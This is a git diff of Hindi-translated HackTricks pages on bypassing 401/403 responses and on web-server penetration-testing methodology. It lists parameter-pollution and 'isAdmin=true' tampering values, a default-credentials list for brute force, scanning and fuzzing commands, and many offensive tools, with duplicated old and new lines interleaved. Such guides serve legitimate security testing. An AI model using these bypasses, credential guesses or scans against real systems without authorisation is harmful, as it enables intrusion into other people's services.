* user\_id=ATTACKER\_ID\&user\_id=VICTIM\_ID (पैरामीटर प्रदूषण)
## **Parameter Manipulation**
## **पैरामीटर हेरफेर**
* **param मान बदलें**: **`id=123` --> `id=124`**
* **पैरामीटर मान बदलें**: **`id=123` --> `id=124`**
* URL में अतिरिक्त पैरामीटर जोड़ें: `?`**`id=124` —-> `id=124&isAdmin=true`**
* पैरामीटर हटा दें
* पैरामीटर का क्रम बदलें
* विशेष वर्णों का उपयोग करें।
* पैरामीटर में सीमा परीक्षण करें — जैसे _-234_ या _0_ या _99999999_ (केवल कुछ उदाहरण मान) प्रदान करें।
## **Protocol version**
## **प्रोटोकॉल संस्करण**
यदि HTTP/1.1 का उपयोग कर रहे हैं तो **1.0 का उपयोग करने का प्रयास करें** या यह भी परीक्षण करें कि क्या यह **2.0 का समर्थन करता है**
## **Other Bypasses**
## **अन्य बायपास**
* डोमेन का **IP** या **CNAME** प्राप्त करें और **प्रत्यक्ष संपर्क करने का प्रयास करें**
* सामान्य GET अनुरोध भेजकर **सर्वर पर दबाव डालने** का प्रयास करें ([यह इस व्यक्ति के लिए फेसबुक के साथ काम किया](https://medium.com/@amineaboud/story-of-a-weird-vulnerability-i-found-on-facebook-fc0875eb5125)).
* सामान्य GET अनुरोध भेजकर **सर्वर पर दबाव डालने** का प्रयास करें ([यह इस व्यक्ति के लिए फेसबुक के साथ काम किया](https://medium.com/@amineaboud/story-of-a-weird-vulnerability-i-found-on-facebook-fc0875eb5125))
* **प्रोटोकॉल बदलें**: http से https में, या https से http में
* [**https://archive.org/web/**](https://archive.org/web/) पर जाएँ और जाँचें कि क्या अतीत में वह फ़ाइल **विश्व स्तर पर सुलभ** थी।
* [**https://archive.org/web/**](https://archive.org/web/) पर जाएँ और जाँचें कि क्या अतीत में वह फ़ाइल **वैश्विक रूप से सुलभ** थी।
## **Brute Force**
## **ब्रूट फोर्स**
* **पासवर्ड का अनुमान लगाएँ**: निम्नलिखित सामान्य क्रेडेंशियल्स का परीक्षण करें। क्या आप पीड़ित के बारे में कुछ जानते हैं? या CTF चुनौती का नाम?
* [**Brute force**](../../generic-methodologies-and-resources/brute-force.md#http-brute)**:** बुनियादी, डाइजेस्ट और NTLM प्रमाणीकरण का प्रयास करें।
* [**ब्रूट फोर्स**](../../generic-methodologies-and-resources/brute-force.md#http-brute)**:** बुनियादी, डाइजेस्ट और NTLM प्रमाणीकरण का प्रयास करें।
{% code title="Common creds" %}
{% code title="सामान्य क्रेड्स" %}
```
admin admin
admin password
@ -127,7 +129,7 @@ guest guest
```
{% endcode %}
## स्वचालित उपकरण
## Automatic Tools
* [https://github.com/lobuhi/byp4xx](https://github.com/lobuhi/byp4xx)
* [https://github.com/iamj0ker/bypass-403](https://github.com/iamj0ker/bypass-403)
@ -138,7 +140,9 @@ guest guest
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**कमजोरी मूल्यांकन और पेनिट्रेशन परीक्षण के लिए तुरंत उपलब्ध सेटअप**। कहीं से भी 20+ उपकरणों और सुविधाओं के साथ एक पूर्ण पेंटेस्ट चलाएँ जो पुनः खोज से रिपोर्टिंग तक जाते हैं। हम पेंटेस्टर्स का स्थान नहीं लेते - हम उन्हें गहराई से खुदाई करने, शेल पॉप करने और मज़े करने के लिए कुछ समय वापस देने के लिए कस्टम उपकरण, पहचान और शोषण मॉड्यूल विकसित करते हैं।
#### अपने वेब ऐप्स, नेटवर्क और क्लाउड पर एक हैकर का दृष्टिकोण प्राप्त करें
**महत्वपूर्ण, शोषण योग्य कमजोरियों को खोजें और रिपोर्ट करें जिनका वास्तविक व्यापार पर प्रभाव है।** हमारे 20+ कस्टम टूल का उपयोग करके हमले की सतह का मानचित्रण करें, सुरक्षा मुद्दों को खोजें जो आपको विशेषाधिकार बढ़ाने की अनुमति देते हैं, और आवश्यक सबूत इकट्ठा करने के लिए स्वचालित शोषण का उपयोग करें, जिससे आपका कठिन काम प्रभावशाली रिपोर्टों में बदल जाए।
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
@ -150,8 +154,8 @@ GCP हैकिंग सीखें और अभ्यास करें: <
<summary>HackTricks का समर्थन करें</summary>
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 पर हमें **फॉलो करें** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* [**सदस्यता योजनाओं**](https://github.com/sponsors/carlospolop) की जांच करें!
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 पर हमें **फॉलो करें** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
</details>

View file

@ -15,11 +15,13 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
</details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
यदि आप **हैकिंग करियर** में रुचि रखते हैं और अजेय को हैक करना चाहते हैं - **हम भर्ती कर रहे हैं!** (_फ्लूएंट पोलिश लिखित और मौखिक आवश्यक_).
#### Get a hacker's perspective on your web apps, network, and cloud
{% embed url="https://www.stmcyber.com/careers" %}
**महत्वपूर्ण, शोषण योग्य कमजोरियों को खोजें और रिपोर्ट करें जिनका वास्तविक व्यापार पर प्रभाव हो।** हमारे 20+ कस्टम टूल का उपयोग करें ताकि हमले की सतह का मानचित्रण कर सकें, सुरक्षा मुद्दों को खोज सकें जो आपको विशेषाधिकार बढ़ाने की अनुमति देते हैं, और आवश्यक सबूत इकट्ठा करने के लिए स्वचालित शोषण का उपयोग करें, जिससे आपका कठिन काम प्रभावशाली रिपोर्टों में बदल जाए।
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## Basic Info
@ -36,36 +38,36 @@ PORT STATE SERVICE
nc -v domain.com 80 # GET / HTTP/1.0
openssl s_client -connect domain.com:443 # GET / HTTP/1.0
```
### Web API Guidance
### वेब एपीआई मार्गदर्शन
{% content-ref url="web-api-pentesting.md" %}
[web-api-pentesting.md](web-api-pentesting.md)
{% endcontent-ref %}
## Methodology summary
## कार्यप्रणाली का सारांश
> इस पद्धति में हम मानेंगे कि आप एक डोमेन (या उपडोमेन) पर हमला करने जा रहे हैं और केवल उसी पर। इसलिए, आपको इस पद्धति को प्रत्येक खोजे गए डोमेन, उपडोमेन या IP पर लागू करना चाहिए जिसमें अनिश्चित वेब सर्वर हो।
> इस कार्यप्रणाली में हम मानते हैं कि आप एक डोमेन (या उपडोमेन) पर हमला करने जा रहे हैं और केवल उसी पर। इसलिए, आपको इस कार्यप्रणाली को प्रत्येक खोजे गए डोमेन, उपडोमेन या IP पर लागू करना चाहिए जिसमें अनिश्चित वेब सर्वर हो।
* [ ] **तकनीकों** की **पहचान** करन शुरू करें जो वेब सर्वर द्वारा उपयोग की जा रही हैं। यदि आप तकनीक की सफलतापूर्वक पहचान कर सकते हैं तो परीक्षण के बाकी हिस्से के दौरान ध्यान में रखने के लिए **तरकीबें** देखें।
* [ ] **तकनीकों** की **पहचान** करने से शुरू करें जो वेब सर्वर द्वारा उपयोग की जा रही हैं। यदि आप तकनीक की सफलतापूर्वक पहचान कर सकते हैं तो परीक्षण के बाकी हिस्से के दौरान ध्यान में रखने के लिए **कौशल** देखें।
* [ ] क्या तकनीक के संस्करण की कोई **ज्ञात भेद्यता** है?
* [ ] क्या कोई **प्रसिद्ध तकनीक** का उपयोग किया जा रहा है? अधिक जानकारी निकालने के लिए कोई **उपयोगी तरकीब**?
* [ ] क्या कोई **प्रसिद्ध तकनीक** का उपयोग कर रहे हैं? अधिक जानकारी निकालने के लिए कोई **उपयोगी कौशल**?
* [ ] क्या चलाने के लिए कोई **विशेषीकृत स्कैनर** है (जैसे wpscan)?
* [ ] **सामान्य प्रयोजन स्कैनर** लॉन्च करें। आप कभी नहीं जानते कि वे कुछ खोजने जा रहे हैं या कुछ दिलचस्प जानकारी खोजने जा रहे हैं।
* [ ] **प्रारंभिक जांच** से शुरू करें: **रोबोट**, **साइटमैप**, **404** त्रुटि और **SSL/TLS स्कैन** (यदि HTTPS)।
* [ ] वेब पृष्ठ को **स्पाइडरिंग** करना शुरू करें: यह सभी संभावित **फाइलों, फ़ोल्डरों** और **पैरामीटरों** को **खोजने** का समय है। साथ ही, **विशेष खोजों** के लिए जांचें।
* [ ] _ध्यान दें कि जब भी ब्रूट-फोर्सिंग या स्पाइडरिंग के दौरान एक नया निर्देशिका खोजा जाता है, तो इसे स्पाइडर किया जाना चाहिए।_
* [ ] **डायरेक्टरी ब्रूट-फोर्सिंग**: सभी खोजे गए फ़ोल्डरों को ब्रूट फोर्स करने का प्रयास करें नए **फाइलों** और **निर्देशिकाओं** की खोज करते हुए।
* [ ] **निर्देशिका ब्रूट-फोर्सिंग**: सभी खोजे गए फ़ोल्डरों को ब्रूट फोर्स करने का प्रयास करें नए **फाइलों** और **निर्देशिकाओं** की खोज करते हुए।
* [ ] _ध्यान दें कि जब भी ब्रूट-फोर्सिंग या स्पाइडरिंग के दौरान एक नया निर्देशिका खोजा जाता है, तो इसे ब्रूट-फोर्स किया जाना चाहिए।_
* [ ] **बैकअप जांच**: सामान्य बैकअप एक्सटेंशन जोड़कर **खोजी गई फाइलों** के **बैकअप** खोजने का प्रयास करें।
* [ ] **बैकअप जांच**: सामान्य बैकअप एक्सटेंशन जोड़कर **खोजे गए फाइलों** के **बैकअप** खोजने का प्रयास करें।
* [ ] **ब्रूट-फोर्स पैरामीटर**: **छिपे हुए पैरामीटर** खोजने का प्रयास करें।
* [ ] एक बार जब आप सभी संभावित **एंडपॉइंट्स** की **पहचान** कर लेते हैं जो **उपयोगकर्ता इनपुट** स्वीकार करते हैं, तो इसके साथ संबंधित सभी प्रकार की **भेद्यताओं** की जांच करें।
* [ ] [इस चेकलिस्ट का पालन करें](../../pentesting-web/web-vulnerabilities-methodology.md)
## Server Version (Vulnerable?)
## सर्वर संस्करण (भेद्य?)
### Identify
### पहचानें
जांचें कि क्या सर्वर **संस्करण** के लिए कोई **ज्ञात भेद्यताएँ** हैं जो चल रही हैं।\
जांचें कि क्या चल रहे सर्वर **संस्करण** के लिए कोई **ज्ञात भेद्यताएँ** हैं।\
**HTTP हेडर और प्रतिक्रिया के कुकीज़** **तकनीकों** और/या **संस्करण** की **पहचान** करने के लिए बहुत उपयोगी हो सकते हैं। **Nmap स्कैन** सर्वर संस्करण की पहचान कर सकता है, लेकिन यह उपकरण भी उपयोगी हो सकते हैं [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)या [**https://builtwith.com/**](https://builtwith.com)**:**
```bash
whatweb -a 1 <URL> #Stealthy
@ -83,7 +85,7 @@ Search **for** [**वेब एप्लिकेशन** **संस्कर
### वेब तकनीक के ट्रिक्स
कुछ **ट्रिक्स** विभिन्न प्रसिद्ध **तकनीकों** में **कमजोरियों** को **खोजने** के लिए:
कुछ **ट्रिक्स** विभिन्न प्रसिद्ध **प्रौद्योगिकियों** में **कमजोरियों** को **खोजने** के लिए:
* [**AEM - Adobe Experience Cloud**](aem-adobe-experience-cloud.md)
* [**Apache**](apache.md)
@ -117,12 +119,12 @@ Search **for** [**वेब एप्लिकेशन** **संस्कर
* [**Wordpress**](wordpress.md)
* [**Electron Desktop (XSS से RCE)**](electron-desktop-apps/)
_ध्यान में रखें कि **एक ही डोमेन** विभिन्न **पोर्ट्स**, **फोल्डर्स** और **सबडोमेन** में **विभिन्न तकनीकों** का उपयोग कर सकता है।_\
यदि वेब एप्लिकेशन किसी प्रसिद्ध **तकनीक/प्लेटफ़ॉर्म** का उपयोग कर रहा है या **कोई अन्य**, तो **इंटरनेट पर** नए ट्रिक्स **खोजना** न भूलें (और मुझे बताएं!)।
_ध्यान में रखें कि **एक ही डोमेन** विभिन्न **पोर्ट्स**, **फोल्डर्स** और **सबडोमेन** में **विभिन्न प्रौद्योगिकियों** का उपयोग कर सकता है।_\
यदि वेब एप्लिकेशन किसी प्रसिद्ध **प्रौद्योगिकी/प्लेटफ़ॉर्म** का उपयोग कर रहा है या **कोई अन्य**, तो **इंटरनेट पर** नए ट्रिक्स **खोजना** न भूलें (और मुझे बताएं!)।
### स्रोत कोड समीक्षा
यदि एप्लिकेशन का **स्रोत कोड** **github** पर उपलब्ध है, तो एप्लिकेशन का **अपना खुद का व्हाइट बॉक्स परीक्षण** करने के अलावा, वर्तमान **ब्लैक-बॉक्स परीक्षण** के लिए **कुछ जानकारी** जो **उपयोगी** हो सकती है:
यदि एप्लिकेशन का **स्रोत कोड** **github** पर उपलब्ध है, तो एप्लिकेशन का **व्हाइट बॉक्स परीक्षण** करने के अलावा, वर्तमान **ब्लैक-बॉक्स परीक्षण** के लिए **कुछ जानकारी** जो **उपयोगी** हो सकती है:
* क्या कोई **चेंज-लॉग या रीडमी या संस्करण** फ़ाइल है या कुछ भी जिसमें **संस्करण जानकारी वेब के माध्यम से उपलब्ध** है?
* **क्रेडेंशियल्स** कैसे और कहाँ सहेजे जाते हैं? क्या कोई (उपलब्ध?) **फ़ाइल** है जिसमें क्रेडेंशियल्स (उपयोगकर्ता नाम या पासवर्ड) हैं?
@ -194,15 +196,15 @@ joomlavs.rb #https://github.com/rastating/joomlavs
यदि आप पाते हैं कि **WebDav** **सक्षम** है लेकिन आपके पास **रूट फ़ोल्डर** में **फ़ाइलें अपलोड करने** के लिए पर्याप्त अनुमतियाँ नहीं हैं, तो प्रयास करें:
* **ब्रूट फोर्स** क्रेडेंशियल्स
* वेब पृष्ठ के अंदर **पाई गई फ़ोल्डरों** के **बाकी** में WebDav के माध्यम से **फ़ाइलें अपलोड करें**। आपको अन्य फ़ोल्डरों में फ़ाइलें अपलोड करने की अनुमति हो सकती है।
* **ब्रूट फोर्स** क्रेडेंशियल्स
* वेब पृष्ठ के अंदर **अन्य फ़ोल्डरों** में फ़ाइलें अपलोड करने के लिए WebDav के माध्यम से **फ़ाइलें अपलोड करें**। आपको अन्य फ़ोल्डरों में फ़ाइलें अपलोड करने की अनुमति हो सकती है।
### **SSL/TLS कमजोरियाँ**
* यदि एप्लिकेशन **HTTPS के उपयोगकर्ता को किसी भी भाग में मजबूर नहीं कर रहा है**, तो यह **MitM के लिए कमजोर** है
* यदि एप्लिकेशन **HTTP का उपयोग करके संवेदनशील डेटा (पासवर्ड) भेज रहा है**। तो यह एक उच्च कमजोरी है।
**कमजोरियों** के लिए [**testssl.sh**](https://github.com/drwetter/testssl.sh) का उपयोग करें (बग बाउंटी कार्यक्रमों में शायद इस प्रकार की कमजोरियों को स्वीकार नहीं किया जाएगा) और कमजोरियों को फिर से जांचने के लिए [**a2sv**](https://github.com/hahwul/a2sv) का उपयोग करें:
**कमजोरियों** के लिए जांचने के लिए [**testssl.sh**](https://github.com/drwetter/testssl.sh) का उपयोग करें (बग बाउंटी कार्यक्रमों में शायद इस प्रकार की कमजोरियाँ स्वीकार नहीं की जाएँगी) और कमजोरियों को फिर से जांचने के लिए [**a2sv**](https://github.com/hahwul/a2sv) का उपयोग करें:
```bash
./testssl.sh [--htmlfile] 10.10.10.10:443
#Use the --htmlfile to save the output inside an htmlfile also
@ -225,26 +227,26 @@ Information about SSL/TLS vulnerabilities:
* [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML स्पाइडर, "जूसि फ़ाइलों" को भी इंगित करता है।
* [**evine** ](https://github.com/saeeddhqan/evine)(go): इंटरैक्टिव CLI HTML स्पाइडर। यह Archive.org में भी खोजता है।
* [**meg**](https://github.com/tomnomnom/meg) (go): यह उपकरण स्पाइडर नहीं है लेकिन यह उपयोगी हो सकता है। आप बस एक फ़ाइल निर्दिष्ट कर सकते हैं जिसमें होस्ट और एक फ़ाइल जिसमें रास्ते हैं और मेग प्रत्येक होस्ट पर प्रत्येक रास्ता लाएगा और प्रतिक्रिया को सहेजेगा।
* [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): JS रेंडरिंग क्षमताओं के साथ HTML स्पाइडर। हालाँकि, ऐसा लगता है कि यह अप्रबंधित है, पूर्व-संकलित संस्करण पुराना है और वर्तमान कोड संकलित नहीं होता है।
* [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): JS रेंडरिंग क्षमताओं के साथ HTML स्पाइडर। हालाँकि, ऐसा लगता है कि इसे बनाए नहीं रखा गया है, पूर्व-निर्मित संस्करण पुराना है और वर्तमान कोड संकलित नहीं होता है।
* [**gau**](https://github.com/lc/gau) (go): HTML स्पाइडर जो बाहरी प्रदाताओं (wayback, otx, commoncrawl) का उपयोग करता है।
* [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): यह स्क्रिप्ट URL खोजेगी जिसमें पैरामीटर होंगे और उन्हें सूचीबद्ध करेगी।
* [**galer**](https://github.com/dwisiswant0/galer) (go): JS रेंडरिंग क्षमताओं के साथ HTML स्पाइडर।
* [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML स्पाइडर, JS फ़ाइलों में नए रास्तों की खोज करने में सक्षम JS ब्यूटीफाई क्षमताओं के साथ। [JSScanner](https://github.com/dark-warlord14/JSScanner) पर भी नज़र डालना फायदेमंद हो सकता है, जो LinkFinder का एक रैपर है।
* [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): HTML स्रोत और एम्बेडेड जावास्क्रिप्ट फ़ाइलों में एंडपॉइंट्स निकालने के लिए। बग हंटर्स, रेड टीमर्स, इन्फोसेक निन्जाओं के लिए उपयोगी।
* [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): एक पायथन 2.7 स्क्रिप्ट जो टॉर्नेडो और JSBeautifier का उपयोग करके जावास्क्रिप्ट फ़ाइलों से सापेक्ष URL को पार्स करती है। AJAX अनुरोधों को आसानी से खोजने के लिए उपयोगी। ऐसा लगता है कि यह अप्रबंधित है।
* [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): एक पायथन 2.7 स्क्रिप्ट जो Tornado और JSBeautifier का उपयोग करके जावास्क्रिप्ट फ़ाइलों से सापेक्ष URL को पार्स करती है। AJAX अनुरोधों को आसानी से खोजने के लिए उपयोगी। ऐसा लगता है कि इसे बनाए नहीं रखा गया है।
* [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): एक फ़ाइल (HTML) दी गई है, यह निफ्टी नियमित अभिव्यक्ति का उपयोग करके URL को निकालता है और बदसूरत (मिनिफाई) फ़ाइलों से सापेक्ष URL को खोजता है और निकालता है।
* [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, कई उपकरण): कई उपकरणों का उपयोग करके JS फ़ाइलों से दिलचस्प जानकारी इकट्ठा करें।
* [**subjs**](https://github.com/lc/subjs) (go): JS फ़ाइलें खोजें।
* [**page-fetch**](https://github.com/detectify/page-fetch) (go): एक हेडलेस ब्राउज़र में एक पृष्ठ लोड करें और सभी URL प्रिंट करें जो पृष्ठ को लोड करने के लिए लोड किए गए हैं।
* [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): कई पिछले उपकरणों के विकल्पों को मिलाकर सामग्री खोजने का उपकरण
* [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): JS फ़ाइलों में पथ और पैरामीटर खोजने के लिए एक बर्प एक्सटेंशन।
* [**Sourcemapper**](https://github.com/denandz/sourcemapper): एक उपकरण जो .js.map URL दिए जाने पर आपको ब्यूटीफाइड JS कोड प्राप्त करेगा।
* [**page-fetch**](https://github.com/detectify/page-fetch) (go): एक हेडलेस ब्राउज़र में एक पृष्ठ लोड करें और सभी URL को प्रिंट करें जो पृष्ठ को लोड करने के लिए लोड किए गए हैं।
* [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): सामग्री खोज उपकरण जो पिछले उपकरणों के कई विकल्पों को मिलाता है
* [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): JS फ़ाइलों में पथ और पैरामीटर खोजने के लिए एक Burp एक्सटेंशन।
* [**Sourcemapper**](https://github.com/denandz/sourcemapper): एक उपकरण जो .js.map URL दिया गया है, आपको ब्यूटीफाइड JS कोड प्राप्त करेगा।
* [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): यह एक उपकरण है जिसका उपयोग किसी दिए गए लक्ष्य के लिए एंडपॉइंट्स खोजने के लिए किया जाता है।
* [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** वेबैक मशीन से लिंक खोजें (जवाबों को वेबैक में डाउनलोड करना और अधिक लिंक की तलाश करना)।
* [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): क्रॉल करें (यहां तक कि फ़ॉर्म भरकर) और विशिष्ट regexes का उपयोग करके संवेदनशील जानकारी खोजें।
* [**SpiderSuite**](https://github.com/3nock/SpiderSuite): स्पाइडर सूट एक उन्नत मल्टी-फीचर GUI वेब सुरक्षा क्रॉलर/स्पाइडर है जिसे साइबर सुरक्षा पेशेवरों के लिए डिज़ाइन किया गया है।
* [**jsluice**](https://github.com/BishopFox/jsluice) (go): यह एक Go पैकेज और [कमांड-लाइन उपकरण](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) है जो जावास्क्रिप्ट स्रोत कोड से URL, पथ, रहस्य और अन्य दिलचस्प डेटा निकालने के लिए है।
* [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge एक सरल **बर्प सूट एक्सटेंशन** है जो **फज़िंग और एन्यूमरेशन के लिए कस्टम वर्डलिस्ट बनाने के लिए अनुरोध से पैरामीटर और एंडपॉइंट्स निकालता है।**
* [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite एक उन्नत मल्टी-फीचर GUI वेब सुरक्षा क्रॉलर/स्पाइडर है जिसे साइबर सुरक्षा पेशेवरों के लिए डिज़ाइन किया गया है।
* [**jsluice**](https://github.com/BishopFox/jsluice) (go): यह एक Go पैकेज और [कमांड-लाइन उपकरण](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) है जो जावास्क्रिप्ट स्रोत कोड से URL, पथ, रहस्य और अन्य दिलचस्प डेटा निकालता है।
* [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge एक सरल **Burp Suite एक्सटेंशन** है जो **फज़िंग और एन्यूमरेशन के लिए कस्टम वर्डलिस्ट बनाने के लिए अनुरोध से पैरामीटर और एंडपॉइंट्स निकालता है।**
* [**katana**](https://github.com/projectdiscovery/katana) (go): इसके लिए शानदार उपकरण।
* [**Crawley**](https://github.com/s0rg/crawley) (go): यह प्रिंट करता है हर लिंक जिसे यह खोजने में सक्षम है।
@ -260,14 +262,14 @@ Information about SSL/TLS vulnerabilities:
* [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ`
* [**ffuf** ](https://github.com/ffuf/ffuf)- तेज: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ`
* [**uro**](https://github.com/s0md3v/uro) (python): यह एक स्पाइडर नहीं है बल्कि एक उपकरण है जो पाई गई URL की सूची दी गई है, "डुप्लिकेट" URL को हटाने के लिए।
* [**Scavenger**](https://github.com/0xDexter0us/Scavenger): बर्प एक्सटेंशन जो विभिन्न पृष्ठों के बर्प इतिहास से डायरेक्टरीज़ की एक सूची बनाने के लिए।
* [**Scavenger**](https://github.com/0xDexter0us/Scavenger): विभिन्न पृष्ठों के बर्प इतिहास से डायरेक्टरीज़ की एक सूची बनाने के लिए बर्प एक्सटेंशन
* [**TrashCompactor**](https://github.com/michael1026/trashcompactor): कार्यक्षमता के साथ डुप्लिकेट URL को हटाएं (JS आयात के आधार पर)।
* [**Chamaleon**](https://github.com/iustin24/chameleon): यह उपयोग की गई तकनीकों का पता लगाने के लिए wapalyzer का उपयोग करता है और उपयोग करने के लिए वर्डलिस्ट का चयन करता है।
**Recommended dictionaries:**
* [https://github.com/carlospolop/Auto\_Wordlists/blob/main/wordlists/bf\_directories.txt](https://github.com/carlospolop/Auto\_Wordlists/blob/main/wordlists/bf\_directories.txt)
* [**Dirsearch** शामिल शब्दकोश](https://github.com/maurosoria/dirsearch/blob/master/db/dicc.txt)
* [**Dirsearch** included dictionary](https://github.com/maurosoria/dirsearch/blob/master/db/dicc.txt)
* [http://gist.github.com/jhaddix/b80ea67d85c13206125806f0828f4d10](http://gist.github.com/jhaddix/b80ea67d85c13206125806f0828f4d10)
* [Assetnote wordlists](https://wordlists.assetnote.io)
* [https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content](https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content)
@ -287,8 +289,8 @@ _ध्यान दें कि जब भी ब्रूट-फोर्स
### What to check on each file found
* [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): HTMLs के अंदर टूटे हुए लिंक खोजें जो अधिग्रहण के लिए प्रवण हो सकते हैं।
* **File Backups**: एक बार जब आप सभी फ़ाइलें खोज लेते हैं, तो सभी निष्पादन योग्य फ़ाइलों के बैकअप की तलाश करें ("_.php_", "_.aspx_"...)। बैकअप का नामकरण करने के लिए सामान्य भिन्नताएँ हैं: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp और file.old._ आप उपकरण [**bfac**](https://github.com/mazen160/bfac) **या** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)** का उपयोग कर सकते हैं।**
* [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): HTML में टूटे हुए लिंक खोजें जो अधिग्रहण के लिए प्रवण हो सकते हैं।
* **File Backups**: एक बार जब आप सभी फ़ाइलें खोज लेते हैं, तो सभी निष्पादन योग्य फ़ाइलों के बैकअप की तलाश करें ("_.php_", "_.aspx_"...)। बैकअप का नामकरण करने के लिए सामान्य भिन्नताएँ हैं: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp और file.old._ आप उपकरण [**bfac**](https://github.com/mazen160/bfac) **या** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)** का भी उपयोग कर सकते हैं।**
* **Discover new parameters**: आप [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **और** [**Param Miner**](https://github.com/PortSwigger/param-miner) **जैसे उपकरणों का उपयोग करके छिपे हुए पैरामीटर खोज सकते हैं। यदि आप कर सकते हैं, तो आप प्रत्येक निष्पादन योग्य वेब फ़ाइल पर छिपे हुए पैरामीटर खोजने का प्रयास कर सकते हैं।**
* _Arjun सभी डिफ़ॉल्ट वर्डलिस्ट:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db)
* _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params)
@ -296,28 +298,28 @@ _ध्यान दें कि जब भी ब्रूट-फोर्स
* _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773)
* **Comments:** सभी फ़ाइलों की टिप्पणियों की जांच करें, आप **क्रेडेंशियल्स** या **छिपी हुई कार्यक्षमता** पा सकते हैं।
* यदि आप **CTF** खेल रहे हैं, तो एक "सामान्य" चाल है **जानकारी** को **छिपाना** टिप्पणियों के अंदर **पृष्ठ** के **दाईं** ओर (स्रोत कोड को ब्राउज़र के साथ खोलने पर डेटा नहीं देखने के लिए **सैकड़ों** **स्पेस** का उपयोग करके)। दूसरी संभावना यह है कि **कई नए लाइनों** का उपयोग करें और **वेब पृष्ठ के नीचे** एक टिप्पणी में **जानकारी** छिपाएं।
* **API keys**: यदि आप **कोई API कुंजी** पाते हैं, तो विभिन्न प्लेटफार्मों क API कुंजी का उपयोग करने के लिए एक गाइड है: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](https://github.com/l4yton/RegHex\)/)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
* Google API keys: यदि आप कोई API कुंजी पाते हैं जो **AIza**SyA-qLheq6xjDiEIRisP\_ujUseYLQCHUjik की तरह दिखती है, तो आप यह जांचने के लिए प्रोजेक्ट [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) का उपयोग कर सकते हैं कि कुंजी किस एपीआई तक पहुँच सकती है।
